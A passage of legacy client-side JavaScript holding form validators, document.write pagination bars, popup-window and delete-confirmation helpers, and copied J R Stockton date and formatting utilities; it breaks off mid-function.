whitespace = "\t \n\r";
function isEmptyString(s)
{
    var i;
	if((s == null) || (s.length == 0)) return true;
	for(i=0;i < s.length;i++)
	{
		var currchar = s.charAt(i);
		if(whitespace.indexOf(currchar) == -1) return false;
	}
	return true;
}
All_numbers = "1234567890";
function isAnyNumber_Check(s)
{
    var i;
	for(i=0;i < s.length;i++)
	{
		var currchar = s.charAt(i);
		if(All_numbers.indexOf(currchar) != -1) return true;
	}
	return false;
}
function isNotNumeric(s)
{
	if(isNaN(s))
	{
		return(true);
	}
	return(false);
}
function isEmail(n)
{
		if ((n==null) || (n.length==0))
		{
			return true;
		}
		if (isEmptyString(n)) return false;
		var i=1;
		var nLength=n.length;
		while((parseInt(i) < parseInt(nLength)) && (n.charAt(parseInt(i)) != '@'))
		{
			i++;
		}
		if ((parseInt(i) >= parseInt(nLength)) || (n.charAt(i)!="@"))
		{
			return false;	
		}	
		else i+=2;
		while((i<nLength) && (n.charAt(i)!="."))
		{
			i++;
		}
		if ((i>=nLength-1) || (n.charAt(i)!="."))
		{
			return false;	
		}	
		else return true;		
}
/*
/////////////////////////////////////////////////
first_I_on = new Image();
first_I_on.src = "navigation_images/f_on.gif";
first_I_off = new Image();
first_I_off.src = "navigation_images/f_off.gif";
/////////////////////////////////////////////////
/////////////////////////////////////////////////
previouspage_I_on = new Image();
previouspage_I_on.src = "navigation_images/pp_on.gif";
previouspage_I_off = new Image();
previouspage_I_off.src = "navigation_images/pp_off.gif";
/////////////////////////////////////////////////
/////////////////////////////////////////////////
previousframe_I_on = new Image();
previousframe_I_on.src = "navigation_images/p_on.gif";
previousframe_I_off = new Image();
previousframe_I_off.src = "navigation_images/p_off.gif";
/////////////////////////////////////////////////
/////////////////////////////////////////////////
nextframe_I_on = new Image();
nextframe_I_on.src = "navigation_images/n_on.gif";
nextframe_I_off = new Image();
nextframe_I_off.src = "navigation_images/n_off.gif";
/////////////////////////////////////////////////
/////////////////////////////////////////////////
nextpage_I_on = new Image();
nextpage_I_on.src = "navigation_images/nn_on.gif";
nextpage_I_off = new Image();
nextpage_I_off.src = "navigation_images/nn_off.gif";
/////////////////////////////////////////////////
/////////////////////////////////////////////////
last_I_on = new Image();
last_I_on.src = "navigation_images/l_on.gif";
last_I_off = new Image();
last_I_off.src = "navigation_images/l_off.gif";
/////////////////////////////////////////////////
function rollon(imgName)
{
    document.images[imgName.name].src = eval(imgName.name + "_on.src");
}
function rolloff(imgName)
{
	document.images[imgName.name].src = eval(imgName.name + "_off.src");
}
function ShowNavigationBar(Record_Start_ID,Records_To,TotalRecords,visualtablesrows,visualbarcolumns,page_url_nav)
{
   	document.write("<table width=591 cellpadding=5 cellspacing=0 border=0 align=center><tr class='bgcolor4'><td><b>&nbsp;&nbsp;Record's Display » ["+Record_Start_ID+" - "+Records_To+" of "+TotalRecords+"]</b></td></tr><tr><td align=left height=1>");
	if(TotalRecords > visualtablesrows)
	{
		document.write("<table border=0 align=left height=27 valign=Bottom cellPadding=0 cellSpacing=9 ");
  		document.write("<tr>");
  		if(parseInt(TotalRecords) != 0)
  		{
	 		document.write("<td ALIGN=left><b>Go to Page:</b></td>");
  	 		var first_I=first_I;
  	 		if((parseInt((parseInt(Record_Start_ID)/parseInt(visualtablesrows)) + 1)-1)> 0)
			{
  				document.write("<td > <a href='"+page_url_nav+"&Record_Start_ID=" + 1 + "' TITLE='First Page' target='_self' onmouseover='rollon(first_I);' onmouseout='rolloff(first_I);'><img src='navigation_images/f_off.gif' name='first_I' border=0></a></td>");
			}	
  		}
	  	if(((parseInt((parseInt(Record_Start_ID)/(parseInt(visualtablesrows)*parseInt(visualbarcolumns))) + 1)-1)> 0) && (parseInt(TotalRecords) != 0))
	  	{
	 	 	var previouspage_I=previouspage_I;
		 	document.write("<td > <a href='"+page_url_nav+"&Record_Start_ID=" + parseInt((parseInt(parseInt(Record_Start_ID)/(parseInt(visualtablesrows)*parseInt(visualbarcolumns)))-1)*(parseInt(visualtablesrows)*parseInt(visualbarcolumns))+1) + "'  TITLE='Previous "+visualbarcolumns+" Pages' target='_self' onmouseover='rollon(previouspage_I);' onmouseout='rolloff(previouspage_I);'><img src='navigation_images/pp_off.gif' name='previouspage_I' border=0></a></td>");
	  	}
	  	if(((parseInt((parseInt(Record_Start_ID)/parseInt(visualtablesrows)) + 1)-1)> 0) && (parseInt(TotalRecords) != 0))
	  	{
	  	 	var previousframe_I=previousframe_I;
	 	 	document.write("<td > <a href='"+page_url_nav+"&Record_Start_ID=" + parseInt((parseInt(parseInt(Record_Start_ID)/parseInt(visualtablesrows))-1)*parseInt(visualtablesrows)+1) + "'  TITLE='Previous Pages' target='_self' onmouseover='rollon(previousframe_I);' onmouseout='rolloff(previousframe_I);'><img src='navigation_images/p_off.gif'  name='previousframe_I' border=0></a></td>");
	  	}
	  	for(var I=parseInt((parseInt((parseInt(Record_Start_ID)/(parseInt(visualtablesrows)*parseInt(visualbarcolumns))) + 1)-1)*parseInt(visualbarcolumns)+1);I<=parseInt((parseInt((parseInt(Record_Start_ID)/(parseInt(visualtablesrows)*parseInt(visualbarcolumns))) + 1)-1)*parseInt(visualbarcolumns)+parseInt(visualbarcolumns)) && ((I-1)*parseInt(visualtablesrows)<TotalRecords) && (parseInt(TotalRecords) != 0);I++)
	  	{
	  		var J = I-1;
	  		document.write("<font size=3>");
	  		if(parseInt((parseInt(Record_Start_ID)-1)/parseInt(visualtablesrows)) == J)
			{
	    		document.write("<td align=center valign=center><font class='fonttype4'><b>" + I +"</b></font></td>");
			}	
	  		else
			{
	    		document.write("<td align=center valign=center> <a href='"+page_url_nav+"&Record_Start_ID=" + parseInt(parseInt(parseInt( J )*parseInt(visualtablesrows))+1) + "' target='_self'>" + I +"</a></td>");
			}	
	  		document.write("</font>");
	  	}
	  	if((parseInt(parseInt((parseInt(Record_Start_ID)/parseInt(visualtablesrows))+1)*parseInt(visualtablesrows)) < TotalRecords) && (parseInt(TotalRecords) != 0))
	  	{
	  		var nextframe_I=nextframe_I;
	  		document.write("<td > <a href='"+page_url_nav+"&Record_Start_ID=" + parseInt(parseInt(parseInt((parseInt(Record_Start_ID)/parseInt(visualtablesrows))+1)*parseInt(visualtablesrows))+1) + "'  TITLE='Next Page' target='_self'   onmouseover='rollon(nextframe_I);' onmouseout='rolloff(nextframe_I);'><img src='navigation_images/n_off.gif' name='nextframe_I' border=0></a></td>");
	  	}
	  	if(((I-1)*parseInt(visualtablesrows) < TotalRecords) && (parseInt(TotalRecords) != 0))
	  	{
	 	 	var nextpage_I=nextpage_I;
	  		document.write("<td > <a href='"+page_url_nav+"&Record_Start_ID=" + parseInt(parseInt(parseInt((parseInt(Record_Start_ID)/(parseInt(visualtablesrows)*parseInt(visualbarcolumns)))+1)*(parseInt(visualtablesrows)*parseInt(visualbarcolumns)))+1) + "'  TITLE='Next "+visualbarcolumns+" Pages' target='_self'   onmouseover='rollon(nextpage_I);' onmouseout='rolloff(nextpage_I);'><img src='navigation_images/nn_off.gif' name='nextpage_I' border=0></a></td>");
	  	}
	  	if(parseInt(TotalRecords) != 0)
	  	{
	  		var last_I=last_I;
	  		if((parseInt(parseInt((parseInt(Record_Start_ID)/parseInt(visualtablesrows))+1)*parseInt(visualtablesrows)) < TotalRecords))
			{
	  			document.write("<td > <a href='"+page_url_nav+"&Record_Start_ID=" + parseInt((parseInt(parseInt(TotalRecords-1)/parseInt(visualtablesrows))*parseInt(visualtablesrows))+1) + "'  TITLE='Last Page' target='_self' onmouseover='rollon(last_I);' onmouseout='rolloff(last_I);'><img src='navigation_images/l_off.gif' name='last_I' border=0></a></td>");
			}	
	  	}
	  	document.write("</tr></table></td></tr></table>");
	}
	else
	{
	  	document.write("</td></tr></table>");
	}
}
*/
function DonloadWindow(my_url)
{ 
	var My_Download_Open = window.open(my_url,"My_Download","toolbar=0,location=0,directories=0,status=0,menubar=1,scrollbars=1,resize=no,copyhistory=0,width=627,height=375")
	My_Download_Open.focus();
	My_Download_Open.moveTo(85,50);
}
function openWindow(URL, h, w) 
{
  	var gg = typeof (popupWin);
  	if (gg =='object')
	{ 
	  	if (popupWin.closed ) {}
		else { popupWin.close();  }
	};
  	popupWin = window.open(URL, 'popup', 'dependent=0,height='+h+',width='+w+',screenX=20,left=60,screenY=190,top=130,channelmode=0,dependent=0,directories=0,fullscreen=0,location=0,menubar=0,resizable=0,scrollbars=1,status=0,toolbar=0', 'launcher');
	if (window.focus)
	{
   		popupWin.focus();
   	}
}
function confdel()
{
	var fl = 0;
	for(i = 0; i < (document.frm_1.elements.length); i++)
	{
		if((document.frm_1.elements[i].type=="checkbox") && (document.frm_1.elements[i].checked==true))
		{
			fl = 1;
			break;
		}
	}
	if(fl == 1)
	{
		if(confirm("Records related will also get Deleted, Are you sure you want to Delete?"))
		{
			fl = 1;
		}
		else
		{
			fl = 0;
		}
	}
	else
	{
		alert("Nothing to Delete.");
		fl = 0;
	}
	if(fl == 1)
	{
		return true;
	}
	else
	{
		return false;
	}
}
function confsubmit()
{
	var fl = 0;
	for(i = 0; i < (document.frm_1.elements.length); i++)
	{
		if((document.frm_1.elements[i].type=="checkbox") && (document.frm_1.elements[i].checked==true))
		{
			fl = 1;
			break;
		}
	}
	if(fl == 1)
	{
		if(true)
		{
			fl = 1;
		}
		else
		{
			fl = 0;
		}
	}
	else
	{
		alert("Nothing to Send.");
		fl = 0;
	}
	if(fl == 1)
	{
		return true;
	}
	else
	{
		return false;
	}
}
function Select_Delect_All(total_records_viewed)
{
	for(i=0;i<total_records_viewed;i=i+1)
	{
		if(document.frm_1.chk_SD.checked==true)
		{
			document.frm_1.elements["chk_1["+i+"]"].checked=true;
		}
		else
		{
			document.frm_1.elements["chk_1["+i+"]"].checked=false;
		}
	}
}
function ShowNavigationBar_typesearch(Record_Start_ID,Records_To,TotalRecords,visualtablesrows,visualbarcolumns,page_url_nav)
{
		document.write("<table width='100%' border='0' cellspacing='0' cellpadding='0'><tr><td width='1%'><img src='pic/dist1.gif' width='15' height='28'></td><td width='99%' background='pic/degrade1.jpg' class='menu2'><table width='100%' border='0' cellpadding='0' cellspacing='0' background='pic/tr.gif'><tr><td class='menu2'>");
	   	document.write("Displaying <b><em class=red1>"+Record_Start_ID+"</em></b> to <b><em class=red1>"+Records_To+"</em></b> of <em class=red1><b>"+TotalRecords+"</em></b></font> items in this category</td><td align=right>");
  		//if(parseInt(TotalRecords) != 0)
  		//{
	 	//	document.write("<td ALIGN=left><b>Go to Page:</b></td>");
  	 	//	var first_I=first_I;
  	 	//	if((parseInt((parseInt(Record_Start_ID)/parseInt(visualtablesrows)) + 1)-1)> 0)
		//	{
  		//		document.write("<td > <a href='"+page_url_nav+"&Record_Start_ID=" + 1 + "' TITLE='First Page' target='_self' onmouseover='rollon(first_I);' onmouseout='rolloff(first_I);'><img src='navigation_images/f_off.gif' name='first_I' border=0></a></td>");
		//	}	
  		//}
	  	if(((parseInt((parseInt(Record_Start_ID)/(parseInt(visualtablesrows)*parseInt(visualbarcolumns))) + 1)-1)> 0) && (parseInt(TotalRecords) != 0))
	  	{
	 	 	var previouspage_I=previouspage_I;
		 	document.write(" <a href='"+page_url_nav+"&Record_Start_ID=" + parseInt((parseInt(parseInt(Record_Start_ID)/(parseInt(visualtablesrows)*parseInt(visualbarcolumns)))-1)*(parseInt(visualtablesrows)*parseInt(visualbarcolumns))+1) + "'  TITLE='Previous "+visualbarcolumns+" Pages' target='_self'  class='lmenu3'>previous page<img src='pic/ar/b_l.gif' width='17' height='13' border=0 align=absmiddle></a>");
	  	}
		else
	  	{
	 	 	var previouspage_I=previouspage_I;
		 	document.write("<font color='#9b9b9b'>previous page</font><img src='pic/ar/b_l.gif' width='17' height='13' border=0 align=absmiddle>");
	  	}

	  	//if(((parseInt((parseInt(Record_Start_ID)/parseInt(visualtablesrows)) + 1)-1)> 0) && (parseInt(TotalRecords) != 0))
	  	//{
	  	// 	var previousframe_I=previousframe_I;
	 	// 	document.write("<td > <a href='"+page_url_nav+"&Record_Start_ID=" + parseInt((parseInt(parseInt(Record_Start_ID)/parseInt(visualtablesrows))-1)*parseInt(visualtablesrows)+1) + "'  TITLE='Previous Pages' target='_self' onmouseover='rollon(previousframe_I);' onmouseout='rolloff(previousframe_I);'><img src='navigation_images/p_off.gif'  name='previousframe_I' border=0></a></td>");
	  	//}
	  	for(var I=parseInt((parseInt((parseInt(Record_Start_ID)/(parseInt(visualtablesrows)*parseInt(visualbarcolumns))) + 1)-1)*parseInt(visualbarcolumns)+1);I<=parseInt((parseInt((parseInt(Record_Start_ID)/(parseInt(visualtablesrows)*parseInt(visualbarcolumns))) + 1)-1)*parseInt(visualbarcolumns)+parseInt(visualbarcolumns)) && ((I-1)*parseInt(visualtablesrows)<TotalRecords) && (parseInt(TotalRecords) != 0);I++)
	  	{
	  		var J = I-1;
	  	//	document.write("<font size=3>");
	  	//	if(parseInt((parseInt(Record_Start_ID)-1)/parseInt(visualtablesrows)) == J)
		//	{
	    //		document.write("<td align=center valign=center><font class='fonttype4'><b>" + I +"</b></font></td>");
		//	}	
	  	//	else
		//	{
	    //		document.write("<td align=center valign=center> <a href='"+page_url_nav+"&Record_Start_ID=" + parseInt(parseInt(parseInt( J )*parseInt(visualtablesrows))+1) + "' target='_self'>" + I +"</a></td>");
		//	}	
	  	//	document.write("</font>");
	  	//}
	  	//if((parseInt(parseInt((parseInt(Record_Start_ID)/parseInt(visualtablesrows))+1)*parseInt(visualtablesrows)) < TotalRecords) && (parseInt(TotalRecords) != 0))
	  	//{
	  	//	var nextframe_I=nextframe_I;
	  	//	document.write("<td > <a href='"+page_url_nav+"&Record_Start_ID=" + parseInt(parseInt(parseInt((parseInt(Record_Start_ID)/parseInt(visualtablesrows))+1)*parseInt(visualtablesrows))+1) + "'  TITLE='Next Page' target='_self'   onmouseover='rollon(nextframe_I);' onmouseout='rolloff(nextframe_I);'><img src='navigation_images/n_off.gif' name='nextframe_I' border=0></a></td>");
	  	}
	  	if(((I-1)*parseInt(visualtablesrows) < TotalRecords) && (parseInt(TotalRecords) != 0))
	  	{
	 	 	var nextpage_I=nextpage_I;
	  		document.write("<a href='"+page_url_nav+"&Record_Start_ID=" + parseInt(parseInt(parseInt((parseInt(Record_Start_ID)/(parseInt(visualtablesrows)*parseInt(visualbarcolumns)))+1)*(parseInt(visualtablesrows)*parseInt(visualbarcolumns)))+1) + "'  TITLE='Next "+visualbarcolumns+" Pages' target='_self'  class='lmenu3'><img src='pic/ar/b_r.gif' width='17' height='13' border=0 align=absmiddle>next page</a>");
	  	}
		else
	  	{
	 	 	var nextpage_I=nextpage_I;
	  		document.write("<img src='pic/ar/b_r.gif' width='17' height='13' border=0 align=absmiddle><font color='#9b9b9b'>next page</font>");
	  	}
	  	//if(parseInt(TotalRecords) != 0)
	  	//{
	  	//	var last_I=last_I;
	  	//	if((parseInt(parseInt((parseInt(Record_Start_ID)/parseInt(visualtablesrows))+1)*parseInt(visualtablesrows)) < TotalRecords))
		//	{
	  	//		document.write("<td > <a href='"+page_url_nav+"&Record_Start_ID=" + parseInt((parseInt(parseInt(TotalRecords-1)/parseInt(visualtablesrows))*parseInt(visualtablesrows))+1) + "'  TITLE='Last Page' target='_self' onmouseover='rollon(last_I);' onmouseout='rolloff(last_I);'><img src='navigation_images/l_off.gif' name='last_I' border=0></a></td>");
		//	}	
	  	//}
	  	document.write("&nbsp;&nbsp;&nbsp;</td></tr></table></td></tr></table>");
}
function single_textbox_date_validation_MMDDYYYY(textbox)
{
	if(!isNaN(textbox.value))
	{
		alert("Invalid Date format");
		return false;
	}
	//Checking leap year validation
	var mystring = new String(textbox.value)
	
 	m=mystring.indexOf("-",0)
	mm=mystring.slice(0,m)

	d=mystring.indexOf("-",m+1)
	dd=mystring.slice(m+1,d)

	yyyy=mystring.slice(d+1,mystring.length)	

	if ((isNaN(mm))||(mm.length>2)||parseInt(mm)>12||mm<1)
  	{
	  	alert("Invalid Date Format, Please Enter in MM-DD-YYYY");
		textbox.focus();
  		return false;
  	}
	if ((isNaN(dd))||(dd.length>2)||parseInt(dd)>31||dd<1)
  	{
  		alert("Invalid day");
		textbox.focus();
  		return false;
  	}
	if ((isNaN(yyyy))||(yyyy.length>4)||(yyyy.length==3)||(yyyy.length==0))
  	{
  		alert("Invalid year");
		textbox.focus();
  		return false;
  	}
	if ((yyyy.length==4) && (parseInt(yyyy)<=1900 || parseInt(yyyy)>=2030))
  	{
  		alert("Invalid year");
		textbox.focus();
  		return false;
  	}
	var monthInt=+(parseInt(mm))
	if (monthInt==4)
	{
		var month="April"
	}
	if (monthInt==6)
	{
		var month="June"
	}
	if ((monthInt==9) || (mm=="09"))
	{
		var month="September"
	}
	if (monthInt==11)
	{
		var month="November"
	}
	if ((parseInt(yyyy)%400==0)||(!((parseInt(yyyy)%100==0)&&(parseInt(yyyy)%4==0)) && (parseInt(yyyy)%4==0)))
	{	
		//Leap Year
		if ((parseInt(mm)==2)&& (parseInt(dd)>29)) //februry
		{
			alert("Day of Februry month in a leap year should not be greater than 29")
			textbox.focus();
			return false;
		}
	}
	else
	{	
		//Simple Year
		if ((parseInt(mm)==2)&& (parseInt(dd)>28)) //februry
		{
			alert("Day of Februry month in a simple year should not be greater than 28")
			textbox.focus();
			return false;
		}
	}
	if (((parseInt(mm)==4) || (parseInt(mm)==6) || ((monthInt==9) || (mm=="09")) || (parseInt(mm)==11)) && (parseInt(dd)>30))
	{
		//month=april		      month=June         month=September	  month=November				
		alert("In " +month+ " month day should not be greater than 30")
		textbox.focus();
		return false;
	}
	return true;
}
//----------**end of function for validate date in a single textbox**----------//

function Caption1() {
  //     JAVASCRIPT INCLUDE FILE - (c) J R Stockton  >= 2003-09-01
  //             http://www.merlyn.demon.co.uk/include1.js
  //       Routines may be copied, but URL must not be linked to.
  }

var Inc1T=0

function VSF() { document.writeln( // After Michael Donn
  '<a href="view-source:'+this.location+'">View Source File<\/a>') }


// DynWrite(target, text) (Jim Ley) works on controls, after page load :
// it is a computed function :

// Classify browser :

function GetDocVars() { // set 4 Globals; called in include1.js
  nCheck = 0
  if (DocDom = (document.getElementById?true:false))
                                           nCheck++ // NS6 also IE5
  if (DocLay = (document.layers?true:false))
                                           nCheck++ // NS4
  if (DocAll = (document.all?true:false))
                                           nCheck++ // IE4
  }  GetDocVars() // call *here*

// if (nCheck!=1) alert('Browser classification problem!  nCheck = ' +
//  String(nCheck) + '\nPlease let me know how the page works and what' +
//  ' the\nbrowser is; and, if possible, what needs to be done about it.')
function ReportDocVars() {
  if (nCheck==0)
    document.write(' None of DocDom, DocLay, DocAll is set;',
      ' Dynamic Write will fail.'.italics(), '<p>')
  if (DocDom) document.write(' DocDom is set. ')
  if (DocLay) document.write(' DocLay is set. ')
  if (DocAll) document.write(' DocAll is set. ') }

function TableDocVars() {
  document.writeln('<br><br><table summary="Browser class info"',
    ' bgcolor=blue align=center cellpadding=10 border=4>',
    '<tr><th bgcolor=wheat>For the displaying computer :</th>',
    '</tr><tr><td bgcolor=gainsboro align=center>',
    'Your browser gives<br>',
    '<b>DocAll = ', DocAll, ' ; DocDom = ', DocDom,
    ' ; DocLay = ', DocLay, '.</b><br>',
    'Check : ', nCheck, ' browser classification(s) set.',
    '</td></tr></table>') }


// Define Function DynWrite(Where, What) to suit browser :
DocStr=''
if (DocLay) DocStr="return document.layers['NS_'+id]"
if (DocAll) DocStr="return document.all[id]"
if (DocDom) DocStr="return document.getElementById(id)"
GetRef=new Function("id", DocStr)

// DocLay = true ; DocAll = DocDom = false // Simulate NS4.7
DynWarn = 0

if (DocStr=='') { DynWrite=new Function("return false") } else {
  if (DocAll || DocDom) {
    DynWrite=new Function("id", "S", "GetRef(id).innerHTML=S; return true")
    }
// if (DocLay) DynWrite=new Function("id", "S", "var x=GetRef(id).document;"+
//  "x.open('text/html'); x.write(S); x.close(); return true")
if (DocLay) DynWrite=new Function(
    "if (0==DynWarn++)"+
    " alert('DynWrite not supported in \".layers\" browsers');"+
    "return false")
 }


function NoDynLay() {
  if (DocLay) document.writeln(
    '<p><i>Dynamic Writing in a ".layers" browser such as yours ',
    'is difficult and I cannot now test it.  Therefore, ',
    'I don\'t now attempt it. An alert will be given in the ',
    'first use in each load/reload of a page.<\/i>') }

// DynWrite() end.



// General Utilities :

function LS(x) {return String(x).replace(/\b(\d)\b/g, '0$1')}

function LZ(x) {return(x<0||x>9?"":"0")+x}

function LZZ(x) {return(x<0||x>99?""+x:"0"+LZ(x))}

if (String.prototype && !String.prototype.substr) {
  String.prototype.substr =
    new Function("J", "K", "return this.substring(J, J+K)") }

function TrimS() { // Grant Wagner = String.prototype.trim
  return (this.toString() ?
    this.toString().replace(/\s+$|^\s*/g, "") : "") }
String.prototype.trim = TrimS

function Sign(y) {return(y>0?'+':y<0?'-':' ')}

function Prfx(Q, L, c) { var S = Q+"" // ??
  // if (!c) var c = ' '
  if (c.length>0) while (S.length<L) { S = c+S } ;
  return S }

function StrU(X, M, N) { // X>=0.0
  var T, S=new String(Math.round(X*Number("1e"+N)))
  if (/\D/.test(S)) { return ''+X }
  with (new String(Prfx(S, M+N, '0')))
    return substring(0, T=(length-N)) + '.' + substring(T) }

function StrT(X, M, N) { return Prfx(StrU(X, 1, N), M+N+2, ' ') }

function StrS(X, M, N) { return Sign(X)+StrU(Math.abs(X), M, N) }

function StrW(X, M, N) { return Prfx(StrS(X, 1, N), M+N+2, ' ') }

if (!Number.toFixed) { // 20030313
  Number.prototype.toFixed = // JL
    new Function('n',
      '  /* toFixed */ if (!n) n=0\n  return StrS(this, 1, n)') }


function SigFigNo(X, N) {
  var p = Math.pow(10, N-Math.ceil(Math.log(Math.abs(X))/Math.LN10))
  return isFinite(p) ? Math.round(X*p)/p : X }


function SigFigExp(X, N) { // N<22
  if (X==0) return SigFigExp(1, N).replace(/\+1/, ' 0')
  var p = Math.floor(Math.log(Math.abs(X))/Math.LN10)
  if (!isFinite(p)) return X
  return (X>0?'+':"") + String(
    Math.round(X*Math.pow(10, N-p-1))).replace(/(\d)/, "$1.") +
    (p>=0?"e+":"e-") + LZ(Math.abs(p)) } // All OK?


function Div(a, b) { return Math.floor(a/b) }

function Mod(a, b) { return a-Math.floor(a/b)*b }


var IxIt=0, BoxX=68


function Depict(X, Y, S, Hue) { // String S is shown and returned
  if (!Hue) Hue = "blue"
  var AutoID = "Auto" + ++IxIt
  document.writeln("<form name=", AutoID, ">",
    "<table align=center bordercolor=", Hue, " border=3><tr><td>",
    "<textarea name=N cols=", X, " rows=", Y, " readonly>",
    "<\/textarea><\/td><\/tr><\/table><\/form>")
  document.forms[AutoID].elements["N"].value = S
  return S }


function ShowFF() { // Args are functions, last Arg is box height
  var Len = --arguments.length, S = ""
  for (var j=0 ; j<Len ; j++) {
    if (j>0) S += "\n\n"
    S += arguments[j].toString() } // ???  but replace < > &  ???
  Depict(BoxX, arguments[Len], S, "lightgreen") }


function ShowDo(Fn, Ht) {
  Depict(BoxX, Ht, Fn.toString(), "red" ) ; Fn() }


function eIVSF() {
  Depict(46, 1,
    "  For the code, view the source of this page", "black") }


var BID = 0

function PopCode(btn) {
  var Wndw = window.open("", "X"+new Date().getTime(), // /scr-bar?
    "height=" + (16*btn.btnargs[1]+40) + ",width=" + (8*BoxX+40) +
    ",resizable")
  Wndw.document.write(
    '<textarea rows=', btn.btnargs[1], ' cols=', BoxX, '>')
  for (var J=0 ; J < btn.btnargs[0].length ; J++) {
    if (J!=0) Wndw.document.write('\n\n')
    Wndw.document.write(btn.btnargs[0][J].toString()) }
  Wndw.document.write('<\/textarea>')
  Wndw.document.close() /* DU */ }

function Btn() { var I = 'JJ' + BID++ // var BID = 0 precedes these
  document.write("<form name=", I, ">",
    "<input type=button name=N value='Pop Up Code'",
    " onClick='PopCode(this)'><\/form>")
  document.close() // DU
  document.forms[I].elements["N"].btnargs = arguments }



var Inc1B=0 // end.


function Caption3() {
  //     JAVASCRIPT INCLUDE FILE - (c) J R Stockton  >= 2003-10-07
  //             http://www.merlyn.demon.co.uk/include3.js
  //       Routines may be copied, but URL must not be linked to.
  //               Needs, for LZ at least, include1.js
  }

var Inc3T=0

// Date/Time Utilities :


// Date.prototype.getTimezoneOffset = new Function("with (this) return 0 ")


if (String.prototype && !String.prototype.substr) {
  String.prototype.substr =
    new Function("J", "K", "return this.substring(J, J+K)") }


function DoWstr(DoWk) { // JS & ISO
  return "SunMonTueWedThuFriSatSun".substr(3*DoWk, 3) }

var Mon3 =
  ['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec']


Date.prototype.ISOlocaltimeStr =
  new Function("  /* Date.ISOlocaltimeStr */ with (this)\n    return " +
    "LZ(getHours())+':'+LZ(getMinutes())+':'+LZ(getSeconds())")


Date.prototype.USlocaltimeStr =
  new Function("  /* Date.USlocaltimeStr */ var H\n" +
    "  with (this) return " +
    "LZ(  1+((H=getHours())+11)%12  )+':'+\n      LZ(getMinutes())+':'+ " +
    "LZ(getSeconds())+[' AM',' PM'][+(H>11)]")


Date.prototype.ISOlocaldateStr =
  new Function("  /* Date.ISOlocaldateStr */ with (this)\n    return " +
    "getFullYear()+'-'+LZ(getMonth()+1)+'-'+LZ(getDate())")


Date.prototype.ISOlocalDTstr =
  new Function("  /* Date.ISOlocalDTstr */  with (this)\n    return " +
    "ISOlocaldateStr()+' '+ISOlocaltimeStr()")


Date.prototype.UTCstr =
  new Function("  /* Date.UTCstr */ with (this)\n    return " +
    "getUTCFullYear() + '-' + LZ(getUTCMonth()+1) + '-' +\n" +
    "      LZ(getUTCDate()) + ' ' + LZ(getUTCHours()) + ':' +\n" +
    "      LZ(getUTCMinutes()) + ':' + LZ(getUTCSeconds()) ")


Date.prototype.UTCDstr =
  new Function("  /* Date.UTCDstr */ with (this)\n    return " +
    "DoWstr(getUTCDay())+', '+UTCstr()")


Date.prototype.YMDDstr =
  new Function("  /* Date.YMDDstr */ with (this)\n    return " +
    "ISOlocaldateStr() + ' ' + DoWstr(getDay())")


Date.prototype.TZstr = // SIGN SHOULD BE RIGHT
  new Function("  /* Date.TZstr */\n" +
    "  var X, Y, Z ;\n" +
    "  with (this) {\n" +
    "    X = getTimezoneOffset() ; Y = Math.abs(X) ;\n" +
    "    Z = Y % 60 ; Y = (Y-Z)/60 ;\n" +
    "    return (X>0?'-':'+') + LZ(Y) + ':' + LZ(Z) }")



function ValidDate(y, m, d) { // m = 0..11 ; y m d integers, y!=0
  with (new Date(y, m, d))
    return ((getMonth()==m) && (getDate()==d)) /* was y, m */ }


function ReadISO8601date(Q) { var T // adaptable for other layouts
  if ((T = /^(\d+)([-\/])(\d\d)(\2)(\d\d)$/.exec(Q)) == null)
    { return -2 } // bad format
  for (var j=1; j<=5; j+=2) T[j] = +T[j] // some use needs numbers
  if (!ValidDate(T[1], T[3]-1, T[5])) { return -1 } // bad value
  return [ T[1], T[3], T[5] ] }




// MJD 40587 = 1970-01-01 = Javascript day 0.

function YMDtoMJD(y, m, d) { // m = 1..12
  return 40587 + (Date.UTC(y, m-1, d)/864e5) }

// function MJDtoYMD(MJD) {
//   with (new Date((MJD-40587)*864e5)) {
//     return [getUTCFullYear(), getUTCMonth()+1, getUTCDate()] } }

// function MJDtoISOdow(MJD) { return ((MJD-40587+77777773)%7)+1 } // ISO

// function WkNoDtoMJD(Y, N, D) {
//   var Jan4 = YMDtoMJD(Y, 1, 4)
//   var DoWk = (Jan4+777772)%7
//   return Jan4 - DoWk + 7*(N-1) + (D-1) }

// function JDNtoMJD(YYYY, DDD) {
//   return YMDtoMJD(YYYY, 1, 1) + (DDD-1) }

// function LastSun(y, m, ult) {
//   return ult - (YMDtoMJD(y, m, ult)+77777773)%7 }

// end of MJD use



function YMDtoYWD(y, m, d) { // ISO WkNo. m = 1..12
  var ms1d = 864e5, ms3d=3*ms1d, ms7d=7*ms1d
  var D3=Date.UTC(y,m-1,d)+ms3d
  var wk=Math.floor(D3/ms7d)
  with (new Date(wk*ms7d)) { var yy=getUTCFullYear() }
  return [yy, 1+wk-Math.floor((Date.UTC(yy,0,4)+ms3d)/ms7d),
    ((D3/ms1d)+777777)%7+1] // revised 2001-06-28 for < 1970.
  /* for the general case, alter that "0, 4" and maybe "ms3d" */ }


function UKtaxWN(y, m, d) { // m = 1..12
  var St = 'UK Inland Revenue Tax:'
  var fy = y ; if (m*32+d<134) fy--
  var dd = (Date.UTC(y, m-1, d) - Date.UTC(fy, 3, 6))/864e5
  St += ' Year ' + fy + ', week ' +
    LZ(Math.floor(dd/7)+1) + ', day ' + LZ((dd%7)+1) + ';'
  var yy = y, mm = m
  if (d<6) mm--
  if (mm<4) { yy-- ; mm += 12 }
  St += ' Year ' + yy + ', month ' + LZ(mm-3) + '.'
  return St }


function Easter(Yr) { // Gregorian
  // after E G Richards, Algorithm P - upper limit ~ AD 112000?
  var AA = Math.floor(Yr / 100)
  var BB = AA - Math.floor(AA / 4)
  var CC = Yr % 19
  var DD = (15 + 19*CC + BB -
    Math.floor((AA + 1 - Math.floor((AA+8) / 25)) / 3)) % 30
  var EE = DD - Math.floor((CC+11*DD) / 319)
// var S = 22 + EE +
//   (140004 -  Yr - Math.floor(Yr / 4)    + BB - EE) % 7
  var S = 22 + EE +
    (140004 - (Yr + Math.floor(Yr / 4))%7 + BB - EE) % 7
// Extra %7 greatly increases year range - jrs 20021012
  var EMo = 3 + Math.floor(S / 32)
  var EDy = 1 + (S-1) % 31
  return [EMo, EDy] }


function DaysInMonth(Y, M) { // M=1..12   >= 2000-09-01
  with (new Date(Y, M, 1, 12)) {
    setDate(0) ; return getDate() } } // OK in NS4?


function leapyear(y)
  { return (new Date(y, 1, 29)).getMonth() == 1 } // F X Mahoney


function Suffix(j) { return "thstndrd".
  substr("01230000000000000000012300000001".
